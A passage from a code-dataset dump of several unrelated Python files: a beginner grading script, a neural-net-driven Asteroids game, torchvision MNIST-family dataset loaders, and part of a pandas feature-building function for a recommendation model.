\nfm.pack(side=Tk.TOP)\n\nroot.mainloop()\n","sub_path":"src/visualization/aa_propensity.py","file_name":"aa_propensity.py","file_ext":"py","file_size_in_byte":2135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"543962562","text":"#!/usr/bin/python3\n\n\"\"\"\n    Script  : \n    Author  : Mohamed Mukthar Ahmed\n    Date    : 13-May-2019\n    Purpose : Demo - Selection control structure i.e. if...else\n\n\"\"\"\n\nmarks = int( input('Enter subject marks [0-100] :') )\n\nif marks >= 75:\n    grade = 'E'\nelif marks >= 60 and marks < 75:\n    grade = 'A+'\nelif marks >= 50 and marks < 60:\n    grade = 'A'\nelif marks >= 40 and marks < 50:\n    grade = 'B'\nelif marks >= 35 and marks < 45:\n    grade = 'C'\nelse:\n    grade = 'F'\n\nprint(\"Grade = \", grade)\n\n\n\n\n","sub_path":"Myself/ex_03.py","file_name":"ex_03.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"361514239","text":"import pygame\r\nimport time\r\nfrom math import pi, sqrt, cos, sin, atan2,copysign\r\nfrom neural_net_pytorch import NeuralNet\r\nimport polar_cartesian as pc\r\nimport numpy\r\nfrom asteroid import Asteroid\r\nfrom bullet import Bullet\r\nimport torch\r\n\r\n# define constants\r\nBLACK = (0, 0, 0)\r\nWHITE = (255, 255, 255)\r\nRED = (255, 0, 0)\r\nGREEN = (0, 255, 0)\r\nBLUE = (0, 0, 255)\r\nCYAN = (0, 255, 255)\r\nVIOLET = (148, 0, 211)\r\n\r\nwidth,height = 600,600\r\nasteroid_count = 10\r\n\r\n#These are the values to change when playing manually\r\n#or not wanting to see the graphics\r\nGRAPHICS_ON = False\r\nAI_PLAYING = True\r\nBULLET_FRAMES = 20 # delay before next bullet\r\nLIFE_FACTOR = 0.1 # reduce weighting of life c.f. asteroid targetting\r\n\r\n# Create function to draw texts\r\ndef drawText(msg, color, x, y, s, center=True):\r\n    screen_text = pygame.font.SysFont(\"Calibri\", s).render(msg, True, color)\r\n    if center:\r\n        rect = screen_text.get_rect()\r\n        rect.center = (int(x), int(y))\r\n    else:\r\n        rect = (int(x), int(y))\r\n    screen.blit(screen_text, rect)\r\n\r\nclass Ship():\r\n    def __init__(self,size=50,width=600,height=600,graphics=True):\r\n        self.bullets = []\r\n        self.asteroid_count = 30\r\n        self.asteroids = []\r\n        self.size = size\r\n        self.rotation_angle = 0\r\n        self.x, self.y = width / 2, height / 2\r\n        vertices = [(0.5,0),(-0.25,-0.25),(-0.25,0.25)]\r\n        #convert x-y vertices to polar\r\n        self.points = [pc.to_polar(v) for v in vertices]\r\n        #scale up ship by self.size\r\n        self.points = [[self.size*r,theta] for [r,theta] in self.points]\r\n        self.color = GREEN\r\n        self.score = 0 #game score\r\n        self.alive = True\r\n        self.life = 0 #number of frames survived\r\n        self.dpoints = [0]*8 #[[0,0,0]] * 8 #points for testing distance measurements\r\n        self.create_asteroids = False\r\n        self.shoot_bullet = False #True when key pressed or AI chooses\r\n        self.createBullet = True #Off when bullet has been created, creates delay\r\n        self.bullet_wait = 0\r\n        self.graphics = graphics\r\n        self.fitness = 0\r\n        #for neural net\r\n        self.brain = NeuralNet(8, 12,12, 3)\r\n        self.inputs = torch.zeros(8)\r\n        self.output = torch.zeros(3)\r\n        #for tracking improvements\r\n        self.mutated = 0\r\n        self.crossovers = 0\r\n\r\n    def update(self,asteroids,asteroid_count):\r\n        self.life += 1\r\n        #check if being hit by asteroid\r\n        for a in asteroids:\r\n            if pc.distance(self,a) < a.size:\r\n                self.alive = False\r\n                return\r\n        #if shooting, wait before creating another bullet\r\n        # if self.createBullet == False and time.time() - self.bullet_wait >= 0.2:\r\n        #     self.createBullet = True\r\n        self.bullet_wait += 1\r\n        if self.createBullet == False and self.bullet_wait >= BULLET_FRAMES:  # number of frames between bullets\r\n            self.createBullet = True\r\n        # TODO set maximum number of frames to penalize poor shooting\r\n        if self.life > 2000:\r\n            self.alive = False\r\n\r\n    def draw(self):\r\n        #rotate vertices,convert to x-y format\r\n        cartesian_points = [pc.to_cartesian([r,theta+self.rotation_angle]) for [r,theta] in self.points]\r\n        self.screen_points = [[int(self.x + pt[0]),int(self.y+pt[1])] for pt in cartesian_points]\r\n\r\n    def get_score(self):\r\n        return self.score\r\n\r\n    def check_asteroids(self,x,y,asteroids):\r\n        for a in asteroids:\r\n            if pc.distance_pts(x, y, a.x, a.y) < a.size:\r\n\r\n                return ((self.x - x)**2+(self.y - y)**2)**0.5\r\n\r\n    def measure(self,asteroids):\r\n        \"\"\"Draw lines radiating outward to measure distances to objects\"\"\"\r\n        #Orland's method:\r\n        # for i in range(8):\r\n        #     dist = 600\r\n        #     closest = 600\r\n        #     ang = self.rotation_angle + 2*pi*i/8\r\n        #     c,s = cos(ang),sin(ang)\r\n        #     segment = ((self.x,self.y),(dist*c,dist*s))\r\n        #     for ast in asteroids:\r\n        #         d = ast.does_intersect(segment) #if it intersects, d is distance\r\n        #         print(\"d:\",d)\r\n        #         if d:\r\n        #             if d < closest:\r\n        #                 closest = d\r\n        #     self.dpoints[i] = closest\r\n        # print(self.dpoints)\r\n\r\n        #my method:\r\n        for i in range(8): #8 directions\r\n            dist = 0    #start at 0\r\n            #determine angle of this line\r\n            ang = self.rotation_angle + 2*pi*i/8\r\n            c,s = cos(ang),sin(ang)\r\n            #add a small distance and check if that position\r\n            #intersects any asteroids\r\n            while dist < 500:\r\n                dist += 1\r\n                x,y = self.x + dist*c, self.y + dist*s\r\n                intersect = self.check_asteroids(x,y,asteroids)\r\n                if intersect:\r\n                    #dpoints are the distance to the intersection\r\n                    self.dpoints[i] = intersect\r\n                    #print(\"intersect\")\r\n                    break\r\n            #PG's suggestion:\r\n            # self.dpoints[i][2] = 99999\r\n            # for a in asteroids:\r\n            #     (dx, dy) = (a.x - self.x, a.y - self.y)\r\n            #     nearness = abs(c * a.x - s * a.y + s * self.x - c * self.y)\r\n            #     # need to also check it's in the right quadrant as line goes in both directions!\r\n            #     if c == copysign(c, dx) and s == copysign(s, dy) and nearness < a.size:\r\n            #         dist = (dx ** 2 + dy ** 2) ** 0.5 - a.size  # pretty approximately!\r\n            #         if dist < self.dpoints[i][2]:  # only if this point is nearer\r\n            #             self.dpoints[i] = [self.x + c * dist, self.y + s * dist, dist]\r\n\r\n    def left(self):\r\n        \"\"\"AI turns left\"\"\"\r\n        self.rotation_angle -= 0.1\r\n        #print(\"Left\")\r\n\r\n    def right(self):\r\n        \"\"\"AI turns right\"\"\"\r\n        self.rotation_angle += 0.1\r\n        #print(\"Right\")\r\n\r\n    def shoot(self,bulletList):\r\n        \"\"\"AI shoots bullet\"\"\"\r\n        #print(\"Shoot\")\r\n        self.shoot_bullet = True\r\n\r\n    def think(self,bulletList):\r\n        \"\"\"Send distances in all 8 directions to\r\n        the Neural Net and from the output, turn\r\n        or shoot.\"\"\"\r\n        self.inputs = torch.zeros(8,dtype=torch.float32)\r\n\r\n        for j,pt in enumerate(self.dpoints):\r\n            #if pt[0] != 0 and pt[1] != 0:\r\n            self.inputs[j] = pt/500#pc.sq_dist(self,pt)#pt[2]#\r\n        #self.inputs = torch.Tensor(self.inputs)#,requires_grad=False)\r\n        #print(\"inputs:\", self.inputs)\r\n        #self.inputs = self.inputs.detach().numpy()#.float()\r\n        #print(\"inputs:\",self.inputs)\r\n        self.output = self.brain.forward(self.inputs)  #\r\n        if torch.argmax(self.output) == 0:  # left\r\n            self.left()\r\n        elif torch.argmax(self.output) == 1:  # right\r\n            self.right()\r\n        elif torch.argmax(self.output) == 2:\r\n            self.shoot(bulletList)\r\n\r\n    def calcFitness(self,ships):\r\n        total = sum([ship.get_score() for ship in ships])\r\n        if total > 0:\r\n            self.fitness = self.get_score() + self.life / total\r\n\r\n    def play(self):\r\n        global asteroid_count\r\n        backups = []\r\n        if GRAPHICS_ON:\r\n           # set up display\r\n           pygame.init()\r\n           screen = pygame.display.set_mode([width, height])\r\n\r\n           #in case you use fonts:\r\n           pygame.font.init()\r\n           myfont = pygame.font.SysFont('Consolas', 24)\r\n           scorefont = pygame.font.SysFont('Consolas', 72)\r\n\r\n           pygame.display.set_caption('Pygame Window') #add your own caption!\r\n\r\n           FPS = 300  # frames per second\r\n           clock = pygame.time.Clock()\r\n\r\n        counter = 0 #frame count\r\n        #for ship in ships:\r\n        while (True):\r\n            # loop until user clicks the close button\r\n            done = False\r\n\r\n            #create the objects\r\n            # ship = Ship(50,width,height,True)\r\n            #bullets = []\r\n            #asteroids = [Asteroid() for _ in range(asteroid_count)]\r\n            #for ship in ships:\r\n            self.bullets = []\r\n            self.asteroids = [Asteroid() for _ in range(self.asteroid_count)]\r\n\r\n            while self.alive and not done:\r\n                if GRAPHICS_ON:\r\n                    for event in pygame.event.get():\r\n                        if event.type == pygame.QUIT:  # if pygame window is closed by user\r\n                            done = True\r\n                if not AI_PLAYING:\r\n                    keys = pygame.key.get_pressed()\r\n                    if keys[pygame.K_LEFT]:\r\n                        self.rotation_angle -= 0.1\r\n                    if keys[pygame.K_RIGHT]:\r\n                        self.rotation_angle += 0.1\r\n                    if keys[pygame.K_SPACE]:\r\n                        self.shoot(bullets)\r\n\r\n                    if keys[pygame.K_p]:\r\n                        if FPS == 60:\r\n                            FPS = 300  #faster display\r\n                        else:\r\n                            FPS = 60\r\n                if GRAPHICS_ON:\r\n                    # fill the screen with background color\r\n                    screen.fill(BLACK)\r\n\r\n                counter += 1\r\n                if AI_PLAYING:\r\n                    self.think(self.bullets)\r\n\r\n                self.update(self.asteroids,self.asteroid_count)\r\n                if len(self.bullets) < 4 and self.createBullet and self.shoot_bullet:\r\n                    self.bullets.append(Bullet(self.x, self.y, self.rotation_angle,GRAPHICS_ON))\r\n                    self.shoot_bullet = False\r\n                    self.createBullet = False\r\n                    self.bullet_wait = time.time()\r\n                self.measure(self.asteroids)\r\n                if self.create_asteroids:\r\n                    self.asteroids = [Asteroid() for _ in range(self.asteroid_count)]\r\n                if GRAPHICS_ON:\r\n                    #print(self.dpoints)\r\n                    for i,pt in enumerate(self.dpoints):\r\n                        #if pt[0] != 0 and pt[1] != 0:\r\n                        #pygame.draw.line(screen,BLUE,(int(pt[0]),int(pt[1])), (int(self.x), int(self.y)),2)\r\n                        pygame.draw.line(screen, BLUE, (int(self.x+pt*cos(self.rotation_angle+i*pi/4)),\r\n                                                    int(self.y+pt*sin(self.rotation_angle+i*pi/4))), (int(self.x), int(self.y)), 2)\r\n\r\n                #draw ship:\r\n                    if GRAPHICS_ON:\r\n                        self.draw()\r\n                        pygame.draw.lines(screen, self.color, True, self.screen_points, 2)\r\n\r\n                if len(self.asteroids) == 0:\r\n                    #time.sleep(1)\r\n                    self.asteroid_count += 2\r\n                    self.asteroids = [Asteroid() for i in range(self.asteroid_count)]\r\n                for a in self.asteroids:\r\n                    a.move()\r\n                    a.check_bullets(self,self.asteroids,self.bullets)\r\n                    if GRAPHICS_ON:\r\n                        #draw asteroids\r\n                        pygame.draw.lines(screen, GREEN, True, a.screen_points, 2)\r\n                        #a.draw()\r\n\r\n                for b in self.bullets:\r\n                    b.update()\r\n                    if GRAPHICS_ON:\r\n                        pygame.draw.circle(screen, GREEN, (int(b.x), int(b.y)), 3)\r\n                    if b.life <= 0:\r\n                        try:\r\n                            self.bullets.remove(b)\r\n                        except:\r\n                            pass\r\n\r\n\r\n\r\n                #print()\r\n                # for saving screenshots:\r\n                # if counter %5 == 0:\r\n                # Capture(screen, 'Capture{}.png'.format(counter), (0, 0), (600, 600))\r\n\r\n                if GRAPHICS_ON:\r\n                    clock.tick(FPS)\r\n                    pygame.display.update()\r\n                    #pygame.quit()\r\n                #return self.score + self.life\r\n                    #if not self.alive:\r\n\r\n                        #backups.append(self)\r\n                        #ships.remove(ship)\r\n                        # if ship.score != 0:\r\n                        #     print(ship.score)\r\n                        #     print(len(ships))\r\n                    # if len(ships) == 0:\r\n                    #     best_score = 0\r\n                    #     best_ship = None\r\n                    #     sum = 0\r\n                    #     for ship in backups:\r\n                    #         sum += ship.score\r\n                    #     for i in range(len(backups)):\r\n                    #         ship = backups[i]\r\n                    #         if sum == 0:\r\n                    #             best_ship = ship\r\n                    #         elif (ship.score/sum) > best_score:\r\n                    #             best_s = ship.score\r\n                    #             best_score = ship.score/sum\r\n                    #             best_ship = ship\r\n                    #     # print(best_score)\r\n                    #     # print(best_s)\r\n                    #     # print(best_ship.brain.wih)\r\n                    #     # print(best_ship.brain.who)\r\n                    #     #time.sleep(60)\r\n                    #     for i in range(250):\r\n                    #         brain = best_ship.brain.replicate()\r\n                    #         brain = brain.mutate(amount=0.2)\r\n                    #         ship = Ship(50,600,600,graphics=True,brain=brain)\r\n                    #         ships.append(ship)\r\n            return self.score\r\n# ships = []\r\n# for i in range(250):\r\n#     ships.append(Ship(50,600,600,graphics=True))\r\n# play(ships)\r\n","sub_path":"Asteroids/January2021/ship_ai_m5.py","file_name":"ship_ai_m5.py","file_ext":"py","file_size_in_byte":13652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"353399237","text":"import abc\nimport codecs\nimport functools\nimport io\nimport operator\nimport pathlib\nimport string\nfrom typing import Any, Callable, Dict, Iterator, List, Optional, Tuple, cast, Union\n\nimport numpy as np\nimport torch\nfrom torch.utils.data import IterDataPipe\nfrom torch.utils.data.datapipes.iter import (\n    Demultiplexer,\n    Mapper,\n    ZipArchiveReader,\n    Zipper,\n    Shuffler,\n)\nfrom torchvision.prototype.datasets.decoder import raw\nfrom torchvision.prototype.datasets.utils import (\n    Dataset,\n    DatasetType,\n    DatasetConfig,\n    DatasetInfo,\n    HttpResource,\n    OnlineResource,\n)\nfrom torchvision.prototype.datasets.utils._internal import (\n    image_buffer_from_array,\n    Decompressor,\n    INFINITE_BUFFER_SIZE,\n)\n\n\n__all__ = [\"MNIST\", \"FashionMNIST\", \"KMNIST\", \"EMNIST\", \"QMNIST\"]\n\nprod = functools.partial(functools.reduce, operator.mul)\n\n\nclass MNISTFileReader(IterDataPipe):\n    _DTYPE_MAP = {\n        8: \"u1\",  # uint8\n        9: \"i1\",  # int8\n        11: \"i2\",  # int16\n        12: \"i4\",  # int32\n        13: \"f4\",  # float32\n        14: \"f8\",  # float64\n    }\n\n    def __init__(self, datapipe: IterDataPipe, *, start: Optional[int], stop: Optional[int]) -> None:\n        self.datapipe = datapipe\n        self.start = start\n        self.stop = stop\n\n    @staticmethod\n    def _decode(bytes):\n        return int(codecs.encode(bytes, \"hex\"), 16)\n\n    def __iter__(self) -> Iterator[np.ndarray]:\n        for _, file in self.datapipe:\n            magic = self._decode(file.read(4))\n            dtype_type = self._DTYPE_MAP[magic // 256]\n            ndim = magic % 256 - 1\n\n            num_samples = self._decode(file.read(4))\n            shape = [self._decode(file.read(4)) for _ in range(ndim)]\n\n            in_dtype = np.dtype(f\">{dtype_type}\")\n            out_dtype = np.dtype(dtype_type)\n            chunk_size = (cast(int, prod(shape)) if shape else 1) * in_dtype.itemsize\n\n            start = self.start or 0\n            stop = self.stop or num_samples\n\n            file.seek(start * chunk_size, 1)\n            for _ in range(stop - start):\n                chunk = file.read(chunk_size)\n                yield np.frombuffer(chunk, dtype=in_dtype).astype(out_dtype).reshape(shape)\n\n\nclass _MNISTBase(Dataset):\n    _FORMAT = \"png\"\n    _URL_BASE: str\n\n    @abc.abstractmethod\n    def _files_and_checksums(self, config: DatasetConfig) -> Tuple[Tuple[str, str], Tuple[str, str]]:\n        pass\n\n    def resources(self, config: DatasetConfig) -> List[OnlineResource]:\n        (images_file, images_sha256), (\n            labels_file,\n            labels_sha256,\n        ) = self._files_and_checksums(config)\n\n        images = HttpResource(f\"{self._URL_BASE}/{images_file}\", sha256=images_sha256)\n        labels = HttpResource(f\"{self._URL_BASE}/{labels_file}\", sha256=labels_sha256)\n\n        return [images, labels]\n\n    def start_and_stop(self, config: DatasetConfig) -> Tuple[Optional[int], Optional[int]]:\n        return None, None\n\n    def _collate_and_decode(\n        self,\n        data: Tuple[np.ndarray, np.ndarray],\n        *,\n        config: DatasetConfig,\n        decoder: Optional[Callable[[io.IOBase], torch.Tensor]],\n    ):\n        image_array, label_array = data\n\n        image: Union[torch.Tensor, io.BytesIO]\n        if decoder is raw:\n            image = torch.from_numpy(image_array)\n        else:\n            image_buffer = image_buffer_from_array(image_array)\n            image = decoder(image_buffer) if decoder else image_buffer\n\n        label = torch.tensor(label_array, dtype=torch.int64)\n        category = self.info.categories[int(label)]\n\n        return dict(image=image, label=label, category=category)\n\n    def _make_datapipe(\n        self,\n        resource_dps: List[IterDataPipe],\n        *,\n        config: DatasetConfig,\n        decoder: Optional[Callable[[io.IOBase], torch.Tensor]],\n    ) -> IterDataPipe[Dict[str, Any]]:\n        images_dp, labels_dp = resource_dps\n        start, stop = self.start_and_stop(config)\n\n        images_dp = Decompressor(images_dp)\n        images_dp = MNISTFileReader(images_dp, start=start, stop=stop)\n\n        labels_dp = Decompressor(labels_dp)\n        labels_dp = MNISTFileReader(labels_dp, start=start, stop=stop)\n\n        dp: IterDataPipe = Zipper(images_dp, labels_dp)\n        dp = Shuffler(dp, buffer_size=INFINITE_BUFFER_SIZE)\n        return Mapper(dp, self._collate_and_decode, fn_kwargs=dict(config=config, decoder=decoder))\n\n\nclass MNIST(_MNISTBase):\n    @property\n    def info(self):\n        return DatasetInfo(\n            \"mnist\",\n            type=DatasetType.RAW,\n            categories=10,\n            homepage=\"http://yann.lecun.com/exdb/mnist\",\n            valid_options=dict(\n                split=(\"train\", \"test\"),\n            ),\n        )\n\n    _URL_BASE = \"http://yann.lecun.com/exdb/mnist\"\n    _CHECKSUMS = {\n        \"train-images-idx3-ubyte.gz\": \"440fcabf73cc546fa21475e81ea370265605f56be210a4024d2ca8f203523609\",\n        \"train-labels-idx1-ubyte.gz\": \"3552534a0a558bbed6aed32b30c495cca23d567ec52cac8be1a0730e8010255c\",\n        \"t10k-images-idx3-ubyte.gz\": \"8d422c7b0a1c1c79245a5bcf07fe86e33eeafee792b84584aec276f5a2dbc4e6\",\n        \"t10k-labels-idx1-ubyte.gz\": \"f7ae60f92e00ec6debd23a6088c31dbd2371eca3ffa0defaefb259924204aec6\",\n    }\n\n    def _files_and_checksums(self, config: DatasetConfig) -> Tuple[Tuple[str, str], Tuple[str, str]]:\n        prefix = \"train\" if config.split == \"train\" else \"t10k\"\n        images_file = f\"{prefix}-images-idx3-ubyte.gz\"\n        labels_file = f\"{prefix}-labels-idx1-ubyte.gz\"\n        return (images_file, self._CHECKSUMS[images_file]), (\n            labels_file,\n            self._CHECKSUMS[labels_file],\n        )\n\n\nclass FashionMNIST(MNIST):\n    @property\n    def info(self):\n        return DatasetInfo(\n            \"fashionmnist\",\n            type=DatasetType.RAW,\n            categories=(\n                \"T-shirt/top\",\n                \"Trouser\",\n                \"Pullover\",\n                \"Dress\",\n                \"Coat\",\n                \"Sandal\",\n                \"Shirt\",\n                \"Sneaker\",\n                \"Bag\",\n                \"Ankle boot\",\n            ),\n            homepage=\"https://github.com/zalandoresearch/fashion-mnist\",\n            valid_options=dict(\n                split=(\"train\", \"test\"),\n            ),\n        )\n\n    _URL_BASE = \"fashion-mnist.s3-website.eu-central-1.amazonaws.com/\"\n    _CHECKSUMS = {\n        \"train-images-idx3-ubyte.gz\": \"3aede38d61863908ad78613f6a32ed271626dd12800ba2636569512369268a84\",\n        \"train-labels-idx1-ubyte.gz\": \"a04f17134ac03560a47e3764e11b92fc97de4d1bfaf8ba1a3aa29af54cc90845\",\n        \"t10k-images-idx3-ubyte.gz\": \"346e55b948d973a97e58d2351dde16a484bd415d4595297633bb08f03db6a073\",\n        \"t10k-labels-idx1-ubyte.gz\": \"67da17c76eaffca5446c3361aaab5c3cd6d1c2608764d35dfb1850b086bf8dd5\",\n    }\n\n\nclass KMNIST(MNIST):\n    @property\n    def info(self):\n        return DatasetInfo(\n            \"kmnist\",\n            type=DatasetType.RAW,\n            categories=[\"o\", \"ki\", \"su\", \"tsu\", \"na\", \"ha\", \"ma\", \"ya\", \"re\", \"wo\"],\n            homepage=\"http://codh.rois.ac.jp/kmnist/index.html.en\",\n            valid_options=dict(\n                split=(\"train\", \"test\"),\n            ),\n        )\n\n    _URL_BASE = \"http://codh.rois.ac.jp/kmnist/index.html.en\"\n    _CHECKSUMS = {\n        \"train-images-idx3-ubyte.gz\": \"51467d22d8cc72929e2a028a0428f2086b092bb31cfb79c69cc0a90ce135fde4\",\n        \"train-labels-idx1-ubyte.gz\": \"e38f9ebcd0f3ebcdec7fc8eabdcdaef93bb0df8ea12bee65224341c8183d8e17\",\n        \"t10k-images-idx3-ubyte.gz\": \"edd7a857845ad6bb1d0ba43fe7e794d164fe2dce499a1694695a792adfac43c5\",\n        \"t10k-labels-idx1-ubyte.gz\": \"20bb9a0ef54c7db3efc55a92eef5582c109615df22683c380526788f98e42a1c\",\n    }\n\n\nclass EMNIST(_MNISTBase):\n    @property\n    def info(self):\n        return DatasetInfo(\n            \"emnist\",\n            type=DatasetType.RAW,\n            categories=list(string.digits + string.ascii_uppercase + string.ascii_lowercase),\n            homepage=\"https://www.westernsydney.edu.au/icns/reproducible_research/publication_support_materials/emnist\",\n            valid_options=dict(\n                split=(\"train\", \"test\"),\n                image_set=(\n                    \"Balanced\",\n                    \"By_Merge\",\n                    \"By_Class\",\n                    \"Letters\",\n                    \"Digits\",\n                    \"MNIST\",\n                ),\n            ),\n        )\n\n    _URL_BASE = \"https://rds.westernsydney.edu.au/Institutes/MARCS/BENS/EMNIST\"\n\n    def _files_and_checksums(self, config: DatasetConfig) -> Tuple[Tuple[str, str], Tuple[str, str]]:\n        prefix = f\"emnist-{config.image_set.replace('_', '').lower()}-{config.split}\"\n        images_file = f\"{prefix}-images-idx3-ubyte.gz\"\n        labels_file = f\"{prefix}-labels-idx1-ubyte.gz\"\n        # Since EMNIST provides the data files inside an archive, we don't need provide checksums for them\n        return (images_file, \"\"), (labels_file, \"\")\n\n    def resources(self, config: Optional[DatasetConfig] = None) -> List[OnlineResource]:\n        return [\n            HttpResource(\n                f\"{self._URL_BASE}/emnist-gzip.zip\",\n                sha256=\"909a2a39c5e86bdd7662425e9b9c4a49bb582bf8d0edad427f3c3a9d0c6f7259\",\n            )\n        ]\n\n    def _classify_archive(self, data: Tuple[str, Any], *, config: DatasetConfig) -> Optional[int]:\n        path = pathlib.Path(data[0])\n        (images_file, _), (labels_file, _) = self._files_and_checksums(config)\n        if path.name == images_file:\n            return 0\n        elif path.name == labels_file:\n            return 1\n        else:\n            return None\n\n    _LABEL_OFFSETS = {\n        38: 1,\n        39: 1,\n        40: 1,\n        41: 1,\n        42: 1,\n        43: 6,\n        44: 8,\n        45: 8,\n        46: 9,\n    }\n\n    def _collate_and_decode(\n        self,\n        data: Tuple[np.ndarray, np.ndarray],\n        *,\n        config: DatasetConfig,\n        decoder: Optional[Callable[[io.IOBase], torch.Tensor]],\n    ):\n        image_array, label_array = data\n        # In these two splits, some lowercase letters are merged into their uppercase ones (see Fig 2. in the paper).\n        # That means for example that there is 'D', 'd', and 'C', but not 'c'. Since the labels are nevertheless dense,\n        # i.e. no gaps between 0 and 46 for 47 total classes, we need to add an offset to create this gaps. For example,\n        # since there is no 'c', 'd' corresponds to\n        # label 38 (10 digits + 26 uppercase letters + 3rd unmerged lower case letter - 1 for zero indexing),\n        # and at the same time corresponds to\n        # index 39 (10 digits + 26 uppercase letters + 4th lower case letter - 1 for zero indexing)\n        # in self.categories. Thus, we need to add 1 to the label to correct this.\n        if config.image_set in (\"Balanced\", \"By_Merge\"):\n            label_array += np.array(self._LABEL_OFFSETS.get(int(label_array), 0), dtype=label_array.dtype)\n        return super()._collate_and_decode((image_array, label_array), config=config, decoder=decoder)\n\n    def _make_datapipe(\n        self,\n        resource_dps: List[IterDataPipe],\n        *,\n        config: DatasetConfig,\n        decoder: Optional[Callable[[io.IOBase], torch.Tensor]],\n    ) -> IterDataPipe[Dict[str, Any]]:\n        archive_dp = resource_dps[0]\n        archive_dp = ZipArchiveReader(archive_dp)\n        images_dp, labels_dp = Demultiplexer(\n            archive_dp,\n            2,\n            functools.partial(self._classify_archive, config=config),  # type:ignore[arg-type]\n            drop_none=True,\n            buffer_size=INFINITE_BUFFER_SIZE,\n        )\n        return super()._make_datapipe([images_dp, labels_dp], config=config, decoder=decoder)\n\n\nclass QMNIST(_MNISTBase):\n    @property\n    def info(self):\n        return DatasetInfo(\n            \"qmnist\",\n            type=DatasetType.RAW,\n            categories=10,\n            homepage=\"https://github.com/facebookresearch/qmnist\",\n            valid_options=dict(\n                split=(\"train\", \"test\", \"test10k\", \"test50k\", \"nist\"),\n            ),\n        )\n\n    _URL_BASE = \"https://raw.githubusercontent.com/facebookresearch/qmnist/master\"\n    _CHECKSUMS = {\n        \"qmnist-train-images-idx3-ubyte.gz\": \"9e26a7bf1683614e065d7b76460ccd52807165b3f22561fb782bd9f38c52b51d\",\n        \"qmnist-train-labels-idx2-int.gz\": \"2c05dc77f6b916b38e455e97ab129a42a444f3dbef09b278a366f82904e0dd9f\",\n        \"qmnist-test-images-idx3-ubyte.gz\": \"43fc22bf7498b8fc98de98369d72f752d0deabc280a43a7bcc364ab19e57b375\",\n        \"qmnist-test-labels-idx2-int.gz\": \"9fbcbe594c3766fdf4f0b15c5165dc0d1e57ac604e01422608bb72c906030d06\",\n        \"xnist-images-idx3-ubyte.xz\": \"f075553993026d4359ded42208eff77a1941d3963c1eff49d6015814f15f0984\",\n        \"xnist-labels-idx2-int.xz\": \"db042968723ec2b7aed5f1beac25d2b6e983b9286d4f4bf725f1086e5ae55c4f\",\n    }\n\n    def _files_and_checksums(self, config: DatasetConfig) -> Tuple[Tuple[str, str], Tuple[str, str]]:\n        prefix = \"xnist\" if config.split == \"nist\" else f\"qmnist-{'train' if config.split== 'train' else 'test'}\"\n        suffix = \"xz\" if config.split == \"nist\" else \"gz\"\n        images_file = f\"{prefix}-images-idx3-ubyte.{suffix}\"\n        labels_file = f\"{prefix}-labels-idx2-int.{suffix}\"\n        return (images_file, self._CHECKSUMS[images_file]), (\n            labels_file,\n            self._CHECKSUMS[labels_file],\n        )\n\n    def start_and_stop(self, config: DatasetConfig) -> Tuple[Optional[int], Optional[int]]:\n        start: Optional[int]\n        stop: Optional[int]\n        if config.split == \"test10k\":\n            start = 0\n            stop = 10000\n        elif config.split == \"test50k\":\n            start = 10000\n            stop = None\n        else:\n            start = stop = None\n\n        return start, stop\n\n    def _collate_and_decode(\n        self,\n        data: Tuple[np.ndarray, np.ndarray],\n        *,\n        config: DatasetConfig,\n        decoder: Optional[Callable[[io.IOBase], torch.Tensor]],\n    ):\n        image_array, label_array = data\n        label_parts = label_array.tolist()\n        sample = super()._collate_and_decode((image_array, label_parts[0]), config=config, decoder=decoder)\n\n        sample.update(\n            dict(\n                zip(\n                    (\"nist_hsf_series\", \"nist_writer_id\", \"digit_index\", \"nist_label\", \"global_digit_index\"),\n                    label_parts[1:6],\n                )\n            )\n        )\n        sample.update(dict(zip((\"duplicate\", \"unused\"), [bool(value) for value in label_parts[-2:]])))\n        return sample\n","sub_path":"torchvision/prototype/datasets/_builtin/mnist.py","file_name":"mnist.py","file_ext":"py","file_size_in_byte":14544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"475321372","text":"import pandas as pd\nimport numpy as np\n\nimport data_handling.helper_functions as f\nimport data_handling.data_frame_functions as dff\n\n\ndef build_features(df):\n    \"\"\"Build features for the lightGBM and logistic regression model.\"\"\"\n\n    # Select columns that are of interest for this method\n    f.print_time(\"start\")\n    cols = ['user_id', 'session_id', 'timestamp', 'step',\n            'action_type', 'reference', 'impressions', 'prices']\n    df_cols = df.loc[:, cols] \n\n    # We are only interested in action types, for wich the reference is an item ID\n    f.print_time(\"filter interactions\")\n    item_interactions = [\n        'clickout item', 'interaction item deals', 'interaction item image',\n        'interaction item info', 'interaction item rating', 'search for item'\n    ]\n    df_actions = (\n        df_cols\n        .loc[df_cols.action_type.isin(item_interactions), :]\n        .copy()\n        .rename(columns={'reference': 'referenced_item'})\n    )\n\n    f.print_time(\"cleaning\")\n    # Clean of instances that have no reference\n    idx_rm = (df_actions.action_type != \"clickout item\") & (df_actions.referenced_item.isna())\n    df_actions = df_actions[~idx_rm]\n\n    # Get item ID of previous interaction of a user in a session\n    f.print_time(\"previous interactions\")\n    df_actions.loc[:, \"previous_item\"] = (\n        df_actions\n        .sort_values(by=[\"user_id\", \"session_id\", \"timestamp\", \"step\"],\n                        ascending=[True, True, True, True])\n        .groupby([\"user_id\"])[\"referenced_item\"]\n        .shift(1)\n    )\n\n    # Combine the impressions and item column, they both contain item IDs\n    # and we can expand the impression lists in the next step to get the total\n    # interaction count for an item\n    f.print_time(\"combining columns - impressions\")\n    df_actions.loc[:, \"interacted_item\"] = np.where(\n        df_actions.impressions.isna(),\n        df_actions.referenced_item,\n        df_actions.impressions\n    )\n    df_actions = df_actions.drop(columns=\"impressions\")\n\n    # Price array expansion will get easier without NAs\n    f.print_time(\"combining columns - prices\")\n    df_actions.loc[:, \"prices\"] = np.where(\n        df_actions.prices.isna(),\n        \"\",\n        df_actions.prices\n    )\n\n    # Convert pipe separated lists into columns\n    f.print_time(\"explode arrays\")\n    df_items = dff.explode_mult(df_actions, [\"interacted_item\", \"prices\"]).copy()\n\n    # Feature: Number of previous interactions with an item\n    f.print_time(\"interaction count\")\n    df_items.loc[:, \"interaction_count\"] = (\n        df_items\n        .groupby([\"user_id\", \"interacted_item\"])\n        .cumcount()\n    )\n\n    # Reduce to impression level again \n    f.print_time(\"reduce to impressions\")\n    